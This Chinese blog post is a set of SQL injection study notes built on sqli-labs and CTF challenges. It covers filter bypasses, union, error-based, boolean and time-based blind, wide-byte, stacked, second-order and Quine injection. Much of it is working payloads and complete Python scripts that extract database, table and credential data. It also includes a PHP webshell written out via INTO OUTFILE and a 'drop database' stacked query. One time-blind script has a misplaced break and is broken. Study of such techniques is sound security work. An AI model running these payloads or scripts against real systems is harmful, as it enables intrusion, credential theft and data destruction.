SQL注入

SQL注入

information_schema中三个重要的表:

·information_chema.schemata: 存储数据库中所有数据库的库名
·mysql.innodb_table_stats中也有数据库名
·information_chema.tables:存储数据库中所有表的表名
·information_chema.columns:存储数据库中所有列的列名

常用函数:

substr(str,start,length):从start开始截取length长度
substring、mid与substr函数用法、功能一致
concat(username):合并字符,或将username所有数据默认用逗号连接
group_concat(username):将username所有查询数据默认用逗号连接在一起
limit 0,1 :查询第一个数字   limit 1,1:查询第二个数   limit在报错注入中用于显示指定行数,分页
ascii(str):返回字符的ascii码值   ord()与ascii()相同
length(str):返回字符串长度
left(str,num):从左数返回num个字符 与right()相反
sleep(n):过n秒响应
if(1=1,3,4):返回3    if(1=2,3,4)返回4
exp():以e为底的指数
~ :按位取反
floor(3.4)=3 :向下取整
rand():随机返回0~1间的小数
concat_ws(str,str1,str2):将括号内数据用第一个字段连接起来,例如concat_ws('-',(select database()),floor(rand()*2))
cout():汇总统计数量
as:别名
group by :分组语句,对结果进行分组
extractvalue(XML_document,XPath_string):第一个参数随便写,把第二个参数的格式符号写错即可,例如
	select extractvalue(doc,concat(0x7e,(select database()))) from xml;
updatexml(XML_document,XPath_string,new_value):第一个、第三个参数随便写,第二个命令格式符号写错即可,同extractvalue()。
    报错内容长度不能超过32个字符
load_file():读取文件  select load_file("绝对路径")

一.判断注入点类型:

1.GET注入 :在get传参时,将sql语句闭合,后面加入自己的sql语句;
2.POST注入 :与GET原理相同
3.Referer注入 :
4.XFF注入 :例如: X-Forwarded-for: 127.0.0.1'and 1=1#
5.Cookie注入 :
6.UA注入 :用BP抓包,在UA处注入语句,观察回显,判断是否存在注入点

二.判断参数数据类型:

一般查询语句通常为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1

1.例如传参id=1与id=2-1返回的内容相同则为数字型注入
2.或者使用id=1 and 1=2判断,若是数字型注入会报错,若是字符型仍能正常显示

如果是字符型,查询语句需要闭合符,数字型则不需要
常见闭合方式: ' " ') ")

三.判断数据库语句过滤情况:

可以fuzz跑一下字典
1.绕过过滤关键字:
(1)使用/**/ , <>分割关键字
(2)双写绕过
(3)有时可以尝试大小写绕过
(4)编码绕过 例如:url编码 16进制编码 ascii编码
(5)使用+ 拆解字符串

sel<>ect  或   sel/**/ect   或    selselectect   或SELECT   或 编码

2.绕过过滤逗号:
(1)join方法绕过

union select * from (select 1)a join (select 2)b join (select 3)

​ (2)对于substr和mid函数 可以使用from for 绕过

substr(str from start for length)    mid(str from start for length)

​ 对于limit 用offset绕过

limit 1 offset 1

​ (3)使用like关键字绕过

select ascii(mid(user(),1,1))=80#等价于
select user() like 'r%'

3.绕过过滤空格:
(1)双空格
(2)/**/
(3)用()包裹语句,括号两端可以没空格
(4)%a0 或%09
(5)Tab 或 回车

4.绕过过滤注释符(#和--):
(1)手动闭合引号

id=1' union select 1,2,3||'1 #或
id=1' union select 1,2,'3

​ (2)使用;%00

5.绕过过滤等号:
使用like rlike regexp 或< 和 >

6.绕过过滤<与>:
(1)使用greastest代替,greastest会返回其中参数的最大值
(2)使用 between a and b 绕过 返回ab之间的数据,不包括b
(3)in 操作符
(4)strcmp(str1,str2) 当str1=str2时返回0 str1>str2时返回1 str1<str2时返回-1

四.注入类型

0x01 union注入(联合查询注入)

条件:适用于有显示列的注入
原理:通过修改前半句的参数,让其变为一个不存在的参数,那么前半句就会返回控制,只显示后半句的查询结果
这里以sql-labs第一关为例为例

#判断列数
?id=1' order by 3--+
#union查询判断回显位
?id=-1' union select 1,2,3--+
#查询当前数据库名称   security
?id=-1' union select 1,2,databse()--+
#查询当前数据库中所有表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_shcema='security'--+
#查询users表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
#查询users表中列的内容
?id=-1' union select 1,2,group_concat(id,username,password) from users--+

也可以在回显位的位置使用一些函数

-------------------------------------
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file:读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
-------------------------------------

0x02报错注入

条件:网站信息是动态的,来自数据库的报错信息
原理:构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包含数据库的内容
利用floor(),updatexml(),extractvalue()等函数

1.extractvalue(XML_document,XPath_string):第一个参数随便写,把第二个参数的格式符号写错即可,例如:

select extractvalue(1,concat(0x7e,(select database()))) from xml;

2.updatexml(XML_document,XPath_string,new_value):第一个、第三个参数随便写,第二个命令格式符号写错即可,同extractvalue()。
报错内容长度不能超过32个字符,可以通过limit分页,或substring()截取

select updatexml(1,concat(0x7e,database()),1)from xml;

其他查询语句在此基础上替换即可


0x03布尔盲注

条件:无法直接获取信息,页面只能返回True或False
原理:使用and将传入参数与自己构造语句相连,根据页面返回的真假值判断内容
使用substr,ascii等函数 进行循环遍历根据真假值判断即可
这里以sql-labs第五关为例:

#判断数据库名长度
?id=1' and length(database())=i--+  #i从1开始遍历
#获取数据库名字
?id=1' and substr((select database()),i,1)='j'--+  #i从1到名字长度遍历   j遍历可打印字符
#获取数据库中表的名字
?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit n,1),i,1))='j'--+  #n从1开始选择第n张表   i,j同上   security是其中一个库
#获取表中的列名
?id=1' and ascii(substring((select columns_name from information_schema.columns where table_name='users' limit n,1),i,1))='j'--+     #users是其中一张表
#获取数据
?id=1' and ascii(substr((select {column} from {selected_table} limit {rouw_num},1),i,1))=j--+

下面是盲注自动化脚本,以sqllabs第五关为例

import requests
from tqdm import tqdm

url = "http://192.168.179.151/sqli-labs-master/Less-8/"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,"
database_name = ""
tables = []
columns = []
datas=[]
selected_table = 'users'
selected_columns = ['id', 'username', 'password']

# 查询数据库名
for i in tqdm(range(1, 10)):
    found = False
    for j in chars:
        payload = url + "?id=1' and substring((select database())," + str(i) + ",1)='" + str(j) + "'--+"
        result = requests.get(payload)
        if 'You are in...........' in result.text:
            database_name += j
            found = True
            break
    if not found:
        break
print("Database name:", database_name)

# 查询表名
for n in range(0, 4):
    table_name = ""
    for i in tqdm(range(1, 30)):  # 假设要查询表名的前 29 个字符
        found = False
        for j in range(1, 256):  # ASCII 码值范围是 1 到 255
            payload = url + "?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema='" + database_name + "' limit "+str(n)+",1)," + str(
                i) + ",1))=" + str(j) + "--+"  # 构造 SQL 注入语句
            result = requests.get(payload)
            if 'You are in...........' in result.text:
                table_name += chr(j)
                found = True
                break
        if not found:
            break
    tables.append(table_name + ",")
tables_string = "".join(tables)
print("Tables in 'security' database:", tables_string)

# 查询列名(假设选择表名为 'users')
selected_table = 'users'
for m in range(0, 6):
    column_name = ""
    for i in tqdm(range(1, 30)):
        found = False
        for j in range(1, 256):  # ASCII 码值范围是 1 到 255
            payload = url + "?id=1' and ascii(substring((select column_name from information_schema.columns where table_name='" + selected_table + "' limit "+str(m)+",1)," + str(
                i) + ",1))=" + str(j) + "--+"  # 构造 SQL 注入语句
            result = requests.get(payload)
            if 'You are in...........' in result.text:
                column_name += chr(j)
                found = True
                break
        if not found:
            break
    columns.append(column_name + ",")
columns_string = "".join(columns)
print("Columns in 'users' table:", columns_string)
#查照具体数据  这里查找users表中的id,username,password列的内容
for column in selected_columns:
    data_values = []
    for row_num in tqdm(range(0, 10)):  # 假设有10行数据
        data_value = ""
        for char_num in range(1, 30):
            found = False
            for ascii_val in range(1, 256):
                payload = url + "?id=1' and ascii(substring((select " + column + " from " + selected_table + " limit " + str(row_num) + ",1)," + str(
                    char_num) + ",1))=" + str(ascii_val) + "--+"
                result = requests.get(payload)
                if 'You are in...........' in result.text:
                    data_value += chr(ascii_val)
                    found = True
                    break
            if not found:
                break
        data_values.append(data_value)
    datas.append(data_values)
# 输出获取到的数据
for idx, col in enumerate(selected_columns):
    print(f"{column} data:")
    for row_num, data in enumerate(datas[idx]):
        print(f"Row {row_num + 1}: {data}")

改进

import requests

url= 'http://node5.anna.nssctf.cn:29622/'

database =""
payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        # payload = payload1.format(i,mid)  #查库名
        # payload = payload2.format(i,mid)  #查表名
        # payload = payload3.format(i,mid)  #查列名
        payload = payload4.format(i,mid) #查flag

        new_url = url + payload
        r = requests.get(new_url)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    database +=chr(mid)
    print(database)
print(database)


0x04时间盲注

条件:页面不会返回错误信息,只会返回一种页面
原理:利用sleep()函数,制作时间延迟,通过回显时间判断是否报错
sleep()可以被benchmark()代替

#判断数据库名长度  
?id=1' and if(length(database())=n,sleep(2),0)--+
#判断数据库名  i从0到length+1  j从1-255
?id=1' and if(ascii(substr(database(),i,1))=j,sleep(2),0)--+
#判断表名 db_name为数据库名  i j同上
?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='db_name',i,1))=j,sleep(2),0)--+
#判断列名 selected_table_name这里选users 
?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name='selected_table_name',i,1))=j,sleep(2),0)--+
#获取数据
?id=1' and if(ascii(substr((select {column} from {selected_table} limit {row_num},1),i,1))=j,sleep(2),0)--+
import requests
from tqdm import tqdm
import time

url = "http://192.168.179.151/sqli-labs-master/Less-9/"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,_!@#$%^&*()"

# 判断数据库名称长度
database_length = 0
for length in tqdm(range(1, 50)):  # 假设数据库名称长度不会超过50
    payload = url + "?id=1' and if(length(database())=" + str(length) + ",sleep(2),0) --+"
    start_time = time.time()
    response = requests.get(payload)
    end_time = time.time()
    response_time = end_time - start_time
    if response_time >= 2:  # 假设响应时间超过2秒认为是正确的长度
        database_length = length
        print("Database name length:", database_length)
        break

# 判定数据库名
db_name = ""
for i in tqdm(range(1, database_length + 1)):
    for j in range(1, 256):  # ASCII 值范围从 1 到 255
        payload = url + "?id=1' and if(ascii(substring(database(),"+str(i)+",1))="+str(j)+",sleep(2),0) --+"
        start_time = time.time()
        response = requests.get(payload)
        end_time = time.time()
        response_time = end_time - start_time
        if response_time >= 2:  
            db_name += chr(j) 
            break

print("Database name:", db_name)

#获取表名
tables_name = ""
tables = []
for n in range(0, 5):
    tables_name = ""
    for i in tqdm(range(1, 9)):
        for j in range(1, 256):  # ASCII 值范围从 1 到 255
            payload = url + "?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='" + db_name + "' limit " + str(
                n) + ",1)," + str(i) + ",1))=" + str(j) + ",sleep(2),0) --+"
            start_time = time.time()
            response = requests.get(payload)
            end_time = time.time()
            response_time = end_time - start_time
            if response_time >= 2:  
                tables_name += chr(j)  
    tables.append(tables_name)  
			break
tables_string = ", ".join(tables)
print("Tables name:", tables_string)

#获取列名
columns = []
selected_table = "users"
for n in range(0, 5):
    columns_name = ""
    for i in tqdm(range(1, 30)):
        for j in range(1, 256):  # ASCII 值范围从 1 到 255
            payload = url + "?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_name='" + selected_table + "' limit " + str(
                n) + ",1)," + str(i) + ",1))=" + str(j) + ",sleep(2),0) --+"
            start_time = time.time()
            response = requests.get(payload)
            end_time = time.time()
            response_time = end_time - start_time
            if response_time >= 2:  
                columns_name += chr(j)  
                break  
    columns.append(columns_name)
columns_string = ", ".join(columns)
print("Columns name:", columns_string)

#查照具体数据 这里查找id,username,password
selected_table = 'users'
selected_columns = ['id', 'username', 'password']
datas = []
for column in selected_columns:
    column_values = []
    for row_num in tqdm(range(0, 10)):  # 假设有10行数据
        data_value = ""
        for char_num in range(1, 30):
            found = False
            for j in range(1, 256):
                payload = (url +
                           f"?id=1' and if(ascii(substring((select {column} from {selected_table} limit {row_num},1),{char_num},1))={j},sleep(2),0)--+")
                start_time = time.time()
                response = requests.get(payload)
                end_time = time.time()
                response_time = end_time - start_time
                if response_time >= 2:
                    data_value += chr(j)
                    found = True
                    break
            if not found:
                break  
        column_values.append(data_value)
    datas.append(column_values)

# 输出获取到的数据
for idx, col in enumerate(selected_columns):
    print(f"{col} data:")
    for row_num, data in enumerate(datas[idx]):
        print(f"Row {row_num + 1}: {data}")


0x05文件读写

条件:securce_file_priv值允许对该路径下的文件进行操作,数据库主人对文件有读写权限,当前等数据用户有file权限,知道文件完整路径
方法:
1.使用load_file()函数
2.使用load data infile()函数。
3.在mysql5.x版本还可以使用系统命令直接读取文件: system cat /tmp/1/txt(该方法只能本地读取, 且无法越权读取)
4.select ... inoto outfile/dumpfile ... 例: 写入一句话木马

 select '<?php @eval($_POST['shell']); ?> into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\2.php' --+
  • secure_file_priv值
    为NULL时,表示禁止文件导入与导出
    值为某一目录时,表示只能对该目录下的文件进行导入与导出
    值为空时,表示不对文件的读写进行限制

  • 查询语句show global variables like "secure_file_priv";
    mysql5.6.34后secure_file_priv值默认为NULL,可以修改my.ini或my.cnf文件,在[mysqld]条目下添加条目secure_file_priv= , 保存后重启mysql: systemctl restart mysql.service
    绕过secure_file_priv值为NULL:

    #使用system读写文件
    system echo "<? php @eval(\$POST['cmd']) ?>" > /root/cmd.php
    #用load data local infile将需要读取的文件存储在数据表中
    load data local infile '/root/cmd.php' into table user   #然后cmd.php中的内容就被写入到user表中
    
    

0x06宽字节注入

原理:当数据经过addslashes()处理时,单引号会被转义成无功能性字符,通过构造特殊的宽字节字符 绕过addslanshes()的转义
addslashes():PHP中用于转义字符串中的特殊字符(单引号、双引号、反斜线、NULL字符),它会在指定 的预定义字符前面加上反斜杠,防止这些字符被误认为是代码注入
mysql_real_escape_string()与addslashes()函数相同

string addslashes(string $str)  #  $str是需要转义的字符串     返回值:返回转义后的字符串

例如:

payload: ' or 1=1 #
经过addslashes()后:\' or 1=1 #

单引号' url编码是%27,\的url编码为%5c '就变为\ ' ,url编码为%5c%27
构造绕过payload:

构造绕过payload: %df' or 1=1 #
经过addslashes()后:%df\' or 1=1 #

%df\'对应url编码为%df%5c%27。当mysql使用GBK编码时,会将%df%5c解析为一个字,使得%27成功逃逸。因为mysql在使用GBK编码时,如果前一个字符的ascii码值大于128,会将两个字符当作一个汉字,所以只要输入的数据大于等于%81就可以使'逃逸出来

以sql-labs第32关为例:

传参?id=1 --+正常回显
传入?id=1'--+显示'被\转义
传入?id=1 %df'--+回显正常,\被干掉,接下来即可正常注入

0x07堆叠注入

在sql中分号; 表示一条语句结束,想同时构造多条语句并执行,如果使用union联合注入只能执行查询语句,而堆叠注入可以执行任意语句。
例如用户输入:1';drop database user;
服务器端生成的sql语句为:

select * from user where name='1';drop database user;

执行查询之后,第一条显示查询信息,第二条则将整个user数据库删除


0x08二次注入

二次注入是指输入数据经过处理后存储,取出之后再次进入到SQL查询。即通过与数据库服务器交互的过程再次注入
以sql-labs第24关为例:
image-20240708215052883

注册时,账号设置为admin -- - 这样可以注释掉后面的密码,造成在admin不知情的情况下修改其密码
image-20240708214803542

原密码是我注册的密码,修改成功之后发现修改的是admin对应的密码
修改密码的sql语句:

$sql="update users set password='aaa' where username='admin' -- -' and password='$curr_pass'"   -- -把后面的语句注释掉,直接修改了admin的密码为aaa

0x09万能密码

登录语句
select * from user where username='$username' and password='"md5($password)"'
输入1’ or 1=1 – - 万能语句变为:
select * from user where username='1' or 1=1 or '1'='1' and password='EDFKGFSNJCOISDKMCSEIDJKM'

得到优先级not>and>or 同一优先级的情况默认从左往右计算
上面的'1'='1' and password='EDFKGFSNJCOISDKMCSEIDJKM'先计算,返回false,因为密码是乱输入的。
username='1'返回false
1=1返回真
假or真or假 返回真,所以验证通过


0x10Quine注入

Quine指自产生程序,即输入的sql语句要与输出的一致
主要利用replace(str,old_str,new_str)函数进行构造(将str中的old_str替换成new_str然后返回) str中的编码不会被替换
char(46)是点. char(34)是双引号" char(39)是单引号'
例如:

select replace(".",char(46),".");   返回.
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
将replace(".",char(46),".")中的. 替换成replace(".",char(46),".")
返回replace(“replace(”.“,char(46),”.“)”,char(46),“replace(”.“,char(46),”.“)”)

接下来要将双引号替换成单引号

select  replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));

替换点为相关字符

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
S为
'/**/union/**/select/**/replace(replace('A',char(34),char(39)),char(66),'A')#
A为
"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#
payload:
若空格过滤可以用/**/  char被过滤可以用chr或者0x代替
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

该payload适用条件:image-20240709163937790
1'union//select//replace(replace('1"union//select//replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union//select//replace(replace(".",char(34),char(39)),char(46),".")#')#


0x11提权

webshell提权:令牌取提权、数据库提权、第三方应用软件提权
mysql数据库提权:UDF提权、MOF提权、启动项提权


0x12逻辑运算注入、二分注入

同或 !=! 的逻辑:

1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
image-20240709214256169 username=tarnish'!=!(1)!=!'1 (True !=! True !=! True) == True username=tarnish'!=!(0)!=!'1 (True !=! False !=! True) == False 这里以[NSSCTF 2022 Spring Recruit]babysql为例:用二分法
import requests
from tqdm import tqdm

strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
url = "http://node5.anna.nssctf.cn:20955/"
result_str = ""

for i in tqdm(range(1, 100)):
    min_value = 32
    max_value = 126
    mid_value = (min_value + max_value) // 2
    while min_value < max_value:
        payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/test.flag),{},1))>{})/**/!=!/**/'1".format(
            i, mid_value)
        result = requests.post(url, data={"username": payload})
        if 'string(39)' in result.text:
            min_value = mid_value + 1
        else:
            max_value = mid_value
        mid_value = (min_value + max_value) // 2
    result_str += chr(mid_value)
    print(result_str)

异或^的逻辑:

1 ^ 1 ==0
0 ^ 0 ==0
1 ^ 0 ==1
0 ^ 1 ==1

0x13无列名注入

条件:适用于已获取到表,但无法查询列的情况
原理:使用联合查询创建虚拟数据。将不知道的列名进行取别名,在取别名的同时进行数据查询(字段数一定要相同)

这里以[HNCTF 2022 WEEK2]easy_sql为例:
首先fuzz测出过滤空格,注释符,order
首先判断回显位:

id=1'/**/group/**/by/**/3,'1或
id=1'/**/group/**/by/**/3;%00

获取数据库名:ctf,ctftraining,ctftraining,ctftraining,mysql

1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

获取表名:ccctttfff,flag,news,users,gtid_slave_pos

1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

表中的列不知道,用无列名注入:

1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1
或
1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/;%00

也可使用位或盲注

import requests

url='http://node5.anna.nssctf.cn:28762/index.php'
flag = ''
count = 1
while True:
    for i in range(32, 127):
        data = {
            # "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"
            # "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"
            # "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"

            # "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"

            "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx),{count},1))={i},1,2)||'"
        }
        resp = requests.post(url=url, data=data)
        #print(resp.text)
        if 'Here is your want!' in resp.text:
            flag += chr(i)
            print(flag)
            break
        elif i == 126:
            exit()
        #time.sleep(0.1)
    count += 1


0x14update注入

条件:需要修改或更新mysql中的数据时,使用sqlupdate命令操作
原理:使用insert、update、delete语句

update table set column1=new_value where column2=value
例如:update items set price=1 where id=8;

posted @ 2024-07-10 11:19  v1kan  阅读(28)  评论(0)    收藏  举报